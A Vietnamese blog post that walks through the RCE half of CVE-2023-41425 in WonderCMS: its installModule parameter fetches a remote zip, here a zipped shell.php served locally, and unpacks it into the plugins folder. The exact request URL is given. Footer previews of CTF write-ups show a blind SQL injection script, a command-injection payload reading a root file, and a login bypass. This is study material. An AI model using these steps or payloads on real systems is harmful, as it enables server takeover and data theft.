CVE-2023–41425 but only RCE part

CVE-2023–41425

Lời nói đầu: Bài viết này có ở đây để mình hiểu sâu hơn về cách tìm lỗi trong các mã nguồn CMS, rất mong được mọi người đón nhận và sửa lỗi nếu có sai sót. 

----------------------------------------------------------------------------------------------------------------------------

Đầu tiên lên nvd.nist.gov để tìm hiểu lỗi. Như trên hình thì nó cho ta biết một lỗi XSS tại version 3.2.0->3.4.2 của Wonder CMS có thể dẫn đến RCE thông qua installModule component. Mình cũng nói trước là mình chỉ research RCE part, còn XSS thì mình sẽ không quan tâm mặc dù nó cũng trong phần Attack Chain

Tiến hành download bản lỗi, tại đây mình download bản 3.4.2 cũng tức là bản đang có lỗi này. 

Tại dòng 146, mình thấy có hàm installUpdateModuleAction(). Tuy nhiên, dòng 142 cho biết chúng ta phải đăng nhập mới có thể sử dụng tính năng này.
-> cần xác thực
Vì muốn hiểu cách thức RCE nên mình sẽ bỏ qua phần xác thực, tiến hành đăng nhập luôn
Hàm này sẽ hoạt động như nào, hãy cùng phân tích
Dòng 1536->1538 kiểm tra có tồn tại tham số installModule, directoryName, type hay không, đồng thời cũng có hàm verifyFormAction để check liệu account đã đăng nhập hay chưa. Nếu tất cả thỏa yêu cầu sẽ xuống dưới còn không thì return.
Hàm verifyFormAction này sẽ nhận một tham số token và sẽ kiểm tra token đã được verified hay chưa. 
Yc: phải có 4 tham số installModule, directoryName, type, token. Trong đó token là token của admin đã được verified mới có thể tiếp tục.

Nói nhanh phần Token thì mình Ctrl + U để tìm

Dòng 1547 yêu cầu $type là plugins hoặc là themes mới thực hiện dòng if phía dưới


Từ dòng 1548->1556, nó sẽ tạo 1 file ảo /ZIPFromURL.zip với context lấy từ $url chúng ta truyền vào qua tham số installModule và lưu tại đường dẫn sau C:\laragon\www\cms\wondercms\data\files\ZIPFromURL.zip
Mình sẽ  port 1234 để test 1 file zip:
python -m http.server 1234
Từ dòng 1557-> 1563, nó sẽ kiểm tra $url có đuôi .zip hay không, curl có lỗi hay không, file zip có open được không. Nếu một trong những cái này không thỏa thì báo lỗi và xóa file ảo trước đó -> url cần upload phải là 1 file zip
Nếu tất cả đều thỏa, nó sẽ xóa plugin cũ tại thư mục /plugins/<do_chúng_ta_điều_khiển_qua_directoryName> rồi tiếp tục unzip cái url tại đường dẫn /plugins và xóa cái file ảo kia.
Mấy cái phía sau không quan trọng nên mình skip.
Ý tưởng tấn công như sau: 
+) Tạo 1 file shell.php rồi zip nó lại
+) send với tham số sau: http://localhost/cms/wondercms/?installModule=http://localhost:1234/shell.zip&directoryName=konchancute&type=plugins&token=6fb15f391f65d2d8fa734ce551f69db21264aec16ddc9479f2500cd974fbc434
Sau đó file sẽ được lưu trên plugins, h thì trigger để rce thôi :v
Phần xss thì mình không đề cập vì mình không thích, đơn giản thế thôi
---------------------------------------------------------
Cảm ơn mọi người đã dành thời gian đọc, nhớ cho mình 1 comment để có thêm động lực nhé



Nhận xét

Đăng nhận xét

Bài đăng phổ biến từ blog này

Hình ảnh
 WolvCTF and i did my best. Hello guys, our team got rank 48th when i decide to write this writeup. I had just solved 2 web. Have no time for Other up 2,3,4 challenges btw i will do it later. Web1: Bean Cafe We need upload 2 difference images but same the md5 hash I found this drive which contain 2  image :d thx someone whose i dont know the name lmao https://drive.google.com/drive/folders/1eCcMtQkHTreAJT6JmwxG10x1HbT6prY0 Uploaded it Web2: Order Up 1  This is my script. Yeah that's all import requests import json import string a = string.printable s = "" url = "https://dyn-svc-order-up-xec3il0vccu5tn6p0q2n-okntin33tq-ul.a.run.app/query" for i in range ( 1 , 100 ):     for j in a:         data = {             "col1" : "item_name" ,             "order" : f " (case when (ascii(substr(current_query(), { i } ,1))= { ord (j) } ) then item_name else category end)"             #(case when (ascii(substr(current_database
Đọc thêm
Hình ảnh
KMA THI SINH VIÊN ATTT CẤP HỌC VIỆN Hế lô ae, giải này end cũng mấy hôm rồi nhưng mà mình cũng chưa định viết writeup do còn 2 bài web nữa chưa xong :( Nhưng mà kệ đi, dưới đây là 3 bài mình đã solve. :( Pwn1: Welcome to KCSC Bài này mình chỉ đăng script thôi, xin nhỗi mn :> from pwn import * import requests # elf = context.binary = ELF("./advice") pay1 = b ''' Hello" && /usr/bin/as @/root/root.txt; echo" ''' pay2 = b " 111111 " # r = elf.process([pay1, pay2]) d = requests . post ( " http://103.162.14.116:5001/contact " , data ={ " name " : pay1 , " advice " : pay2 } ) print ( d . text ) # r.interactive() Web1: You are a good admin. Mn có thể tải file tại đây . Sau khi build docker xong, hãy quan sát một chút về code  có 4 route là / /login /admin /file. Cái /tesing là mình tự thêm vào nên mn không cần để ý đâu :)) Tại route /file, ta dễ thấy nó đang bị lỗi file inclusion tại tham số f.
Đọc thêm

KMACTF và nỗi buồn éo làm được gì cả T__T

Hình ảnh
hế lô ae, lại là mình đây :< Một lần nữa trong năm mình vẫn ăn hại khi solve rất ít chall trong giải của kma và cũng thx bạn X đã hỗ trợ đề cho mình Tranh thủ đợi download các bài for các thì bắt đầu với for1 :/ Đề bài như sau Mình được cho 1 file pcap :v vậy sài "cá mập trắng" để xem gói tin. chú ý và chỗ mình khoanh vùng Sắp xếp tăng dần là được,  Đọc và lọc từng kí tự thôi :/ bài này đánh giá dễ làm Web1: Mình được cho source như thế này :v Hãy cùng đi phân tích 1 chút :v Chúng ta có 2 route cần chú ý là /login và /register Các giá trị nhận đầu vào đều được tham số hóa nên sẽ không thể inject code được. Tại route /login nó sẽ kiểm tra user có === 'admin' không :v cái này thì bypass khá dễ :/ Dễ thấy nếu là Admin sẽ bypass thành công :/ Vậy chỉ còn password thôi :/ Lục lại ctf hồi trước, mọi người có thể đọc tại đây . khi ta truyền một obj password={"username":false} tức là select * from users from user where password= `username` = false mysql sẽ tự độn
Đọc thêm